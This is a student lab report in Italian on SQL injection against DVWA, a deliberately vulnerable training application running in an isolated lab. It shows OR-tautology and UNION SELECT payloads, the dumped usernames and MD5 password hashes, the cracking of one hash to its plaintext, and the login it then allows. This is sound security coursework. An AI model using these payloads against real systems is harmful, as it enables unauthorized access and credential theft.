

27/05/2024

Matteo Tedesco/ Giovanni Sannino / Iosif Castrucchi

Prima parte : SQL INJECTION (standard)

Introduzione: Esplorazione delle vulnerabilità web in DVWA (Damn Vulnerable Web Application)

Nel seguente documento, esploreremo una serie di comandi SQL che utilizzeremo per eseguire query all'interno di una Web Application chiamata Damn Vulnerable Web Application (DVWA), impostata su difficoltà bassa (low). DVWA è una piattaforma progettata per l'apprendimento e il test delle vulnerabilità web. Utilizzeremo questa piattaforma per illustrare e comprendere le vulnerabilità più comuni come SQL injection

I comandi SQL che esamineremo copriranno una varietà di azioni, dalle semplici query per verificare la presenza di dati nelle tabelle, fino all'estrazione di informazioni sensibili come nomi utente e password. Esploreremo anche le differenze tra un attacco SQL standard e un attacco SQL Blind

Ora, procediamo a eseguire i comandi all'interno di DVWA per esplorare queste vulnerabilità e apprendere come difendersi da esse.

Day 1 Task: Utilizzare le tecniche discusse nelle lezioni teoriche per sfruttare la vulnerabilità di SQL injection presente nella Web Application DVWA e recuperare la password in chiaro dell'utente Pablo Picasso (ricorda che una volta trovate le password, è necessario un passaggio aggiuntivo per recuperare la password in chiaro).

Day 1 Lab Requirements:

- DVWA livello di difficoltà: Basso
- IP di Kali Linux: 192.168.13.100/24
- IP di Metasploitable: 192.168.13.150/24

ESEMPIO DI ACQUISIZIONE USER TRAMITE SQL-INJECTION:

comando : 1' OR '1'='1'#



- Home
- Instructions
- Setup
- Brute Force
- Command Execution
- CSRF
- File Inclusion
- SQL Injection
- SQL Injection (Blind)
- Upload
- XSS reflected
- XSS stored
- DVWA Security
- PHP Info
- About
- Logout

Vulnerability: SQL Injection

User ID:

ID: 1' OR '1'='1'#
First name: admin
Surname: admin

ID: 1' OR '1'='1'#
First name: Gordon
Surname: Brown

ID: 1' OR '1'='1'#
First name: Hack
Surname: Me

ID: 1' OR '1'='1'#
First name: Pablo
Surname: Picasso


ID: 1' OR '1'='1'#
First name: Bob
Surname: Smith

More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
http://en.wikipedia.org/wiki/SQL_injection
<http://www.unixwiz.net/techtips/sql-injection.html>

Username: admin
Security Level: low
PHPIDS: disabled

QUERY : 1' UNION SELECT user, password FROM users#



Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

Vulnerability: SQL Injection

User ID:

ID: 'UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 'UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 'UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 'UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 'UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
http://en.wikipedia.org/wiki/SQL_injection
<http://www.unixwiz.net/techtips/sql-injection.html>

Username: pablo
Security Level: low
PHPIDS: disabled

DECRYPT : md5

0d107d09f5bbe40cade3de5c71e9e9b7

Decripta md5()

md5-decrypt("0d107d09f5bbe40cade3de5c71e9e9b7")

letmein

LOGIN :

Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

Welcome to Damn Vulnerable Web App!

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.

WARNING!

Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provider's public html folder or any internet facing web server as it will be compromised. We recommend downloading and installing [XAMPP](#) onto a local machine inside your LAN which is used solely for testing.

Disclaimer

We do not take responsibility for the way in which any one uses this application. We have made the purposes of the application clear and it should not be used maliciously. We have given warnings and taken measures to prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it.

General Instructions

The help button allows you to view hits/tips for each vulnerability and for each security level on their respective page.

You have logged in as 'pablo'

Username: pablo
Security Level: low
PHPIDS: disabled

Differenza tra SQL Standard e SQL Blind:

1. SQL Standard:

- Questo metodo utilizza query SQL standard e restituisce risultati diretti.
- È immediato e diretto, poiché le query restituiscono risultati in base ai dati presenti nel database.

2. SQL Blind:

- Nel contesto di un attacco di SQL injection, SQL Blind è un approccio in cui l'attaccante sfrutta la vulnerabilità senza ricevere direttamente i risultati delle query.
- Invece di ricevere risultati diretti, l'attaccante sfrutta la vulnerabilità per eseguire query condizionali e inferire informazioni basate su come il sistema risponde a queste query.
- In un contesto di SQL Blind, l'attaccante potrebbe utilizzare tecniche come boolean-based o time-based per inferire informazioni dal database senza ricevere risultati diretti.